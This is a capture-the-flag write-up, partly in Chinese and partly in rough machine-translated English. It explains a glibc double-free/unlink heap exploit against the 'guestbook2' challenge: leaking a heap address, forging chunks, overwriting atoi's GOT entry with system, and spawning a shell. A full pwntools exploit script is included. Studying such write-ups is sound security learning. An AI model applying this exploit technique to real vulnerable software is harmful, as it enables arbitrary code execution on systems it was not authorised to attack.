Analysis of Double Free (a method of leaking heap addresses)

Double Free is actually the same pointer free twice. Although it is generally called double free. In fact, as long as you free a pointer to heap memory, there may be exploitable vulnerabilities.

The principle of double free is actually similar to the principle of heap overflow, which is used by the macro of unlink, a doubly linked list deletion. It's just that double free needs to fake the whole chunk by itself and trick the OS

So it seems to be the same as the common heap overflow forging chunk and then free trigger unlink to cause fixed address write, and then cause arbitrary address read and arbitrary address write.

Reference article

I don't know which big guy wrote the information 1

Double free of Linux heap vulnerability don't talk

jarvisoj Guestbook2          wooy0ung

Take a guestbook2 on jarvisoj as an example.

0x00 leaked heap address

First involves some knowledge about unsorted bin:

      The queue of unsorted bins uses the first one of the bins array. If the chunks released by the user are larger than max_fast, or after the free chunks in the fast bins are merged, these chunks will be put into the unsorted bin queue first.

      For details, you can read the article analysis of the source code of glibc memory management ptmalloc2 .

In order to forge the chunk to pass the verification of unlink, we need to find a pointer to the heap address. As mentioned in the unlink analysis written before , the program function often uses a chunk_list to store all the memory applied for by malloc, then chunk_list can be used as our A pointer to a heap address. In this question, we first malloc a large piece of memory as chunk_list, so we need to leak the address of chunk_list first to fake chunk.

add('a')

add('a')

add('a')

add('a')

remove(0)

remove(2)

释放0号堆块时,由于其前后都不是空闲堆块所以不会发生合并,又因为大小为0x80所以会被放入unsorted bin当中,此时fd 和 bk都指向main arena中的一块区域,此时可以通过uaf泄露libc基址(可以参考UAF获取main_arena地址泄露libc基址,这道题没有采用此方法);同样的,释放2号堆块时也不会发生合并,且被放入unsorted bin,并和0号堆块构成双向链表:

此时chunk0的bk是指向chunk2的,由于程序读取输入后没有在结尾加'\x00'之类的截断,这里可以通过:

add('12345678')

show()

新申请的’12345678‘将覆盖chunk0的fd,printf('%s')会连带着把后面的指向chunk2的bk也打印出来,完成堆地址的泄露。

因为是第2个堆块,所以:

heap_base=heap_addr - (0x80+0x10)*2 - (0x1810+0x10)

获得了heap_base之后我们就可以计算指向所有申请的chunk的指针,这里我们利用chunk0来进行unlink,其相对heap_base的偏移地址为0x30:

chunk_addr=heap_base+0x30

完成泄露后把所有的chunk都释放掉:

remove(0)

remove(1)

remove(3)

0x01 伪造chunk

现在的堆块状态:

1.首先在chunk0的data区域伪造presize、size、fd和bk,原理和布局同unlink

2.接着在chunk1的data区域添加0x80大小的paddings,溢出到chunk2的起始位置,伪造presize和size

伪造的堆块:

通过设置chunk0的size和chunk2的presize使得fake chunk0变成一个大小为0x80+0x90的大堆块,且作为chunk2的前一个堆块,通过设置chunk2的size使得fake chunk0看起来是空闲的。

chunk3和chunk4的作用是防止free(chunk2)时发生向前合并。

这样free(chunk2)时发生向后合并,执行unlink(fake chunk0),向chunk_addr的位置写入chunk_addr - 0x18

接着调用edit(0)将可控chunk_addr位置的8字节

0x02 leak libc & get shell

类似unlink的利用方法,向*(chunk_addr)写入0x18字节的paddings,接着将覆盖chunk_addr的内容,这里还要考虑到程序定义的结构体里的inuse位和note length,所以payload应为:

payload='a'*8+p64(1)+p64(8)+p64(e.got['atoi'])    #set inuse 1 , and set length 8

edit(0,payload)

紧接着show(0)将泄露出atoi的实际地址,从而leak libc基址

同样的:

edit(0 , p64(system_addr))

将把atoi的got表写入system的地址,然后在选择功能的时候输入'/bin'sh',程序将会执行atoi('/bin/sh'),实际上就是执行了system('/bin/sh')

get shell!

附上exp:


from pwn import *

p=process('./guestbook2')

e=ELF('./guestbook2')

libc=ELF('./libc-2.25.so')

def add(data):

p.recvuntil('Your choice: ')

p.sendline('2')

p.recvuntil('Length of new post: ')

p.sendline(str(len(data)))

p.recvuntil('Enter your post: ')

p.send(data)

def show():

p.recvuntil('Your choice: ')

p.sendline('1')

def edit(index,data):

p.recvuntil('Your choice: ')

p.sendline('3')

p.recvuntil('Post number: ')

p.sendline(str(index))

p.recvuntil('Length of post: ')

p.sendline(str(len(data)))

p.recvuntil('Enter your post: ')

p.send(data)

def remove(index):

p.recvuntil('Your choice: ')

p.sendline('4')

p.recvuntil('Post number: ')

p.sendline(str(index))

add('a')

add('a')

add('a')

add('a')

remove(0)

remove(2)

add('12345678')

show()

p.recvuntil('12345678')

heap_addr=u64(p.recv(4).ljust(8,'\x00'))

heap_base=heap_addr-0x1810-0x10-0x120

chunk_addr=heap_base+0x30

print 'heap base address: ',hex(heap_base)

print 'chunk list address: ',hex(chunk_addr)

remove(0)

remove(1)

remove(3)

gdb.attach(p,'b* 0x400bc2')

size0 = 0x90+0x80

add(p64(0)+p64(size0+1)+p64(chunk_addr-0x18)+p64(chunk_addr-0x10))

add("a"*0x80+p64(size0)+p64(0x90)+"a"*0x80+(p64(0)+p64(0x91)+"a"*0x80)*2)

remove(2)

payload='a'*8+p64(1)+p64(8)+p64(e.got['atoi'])

edit(0,payload)

show()

p.recvuntil('0. ')

leak_addr=u64(p.recv(6).ljust(8,'\x00'))

print hex(leak_addr)

libc_base=leak_addr-libc.symbols['atoi']

system_addr=libc_base+libc.symbols['system']

print 'system_address: ',hex(system_addr)

#gdb.attach(p,'b* 0x400f7c')

edit(0,p64(system_addr))

p.recvuntil('Your choice: ')

p.sendline('/bin/sh')

p.interactive()




作者:BJChangAn
链接:https://www.jianshu.com/p/72177311e2ae
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=324541336&siteId=291194637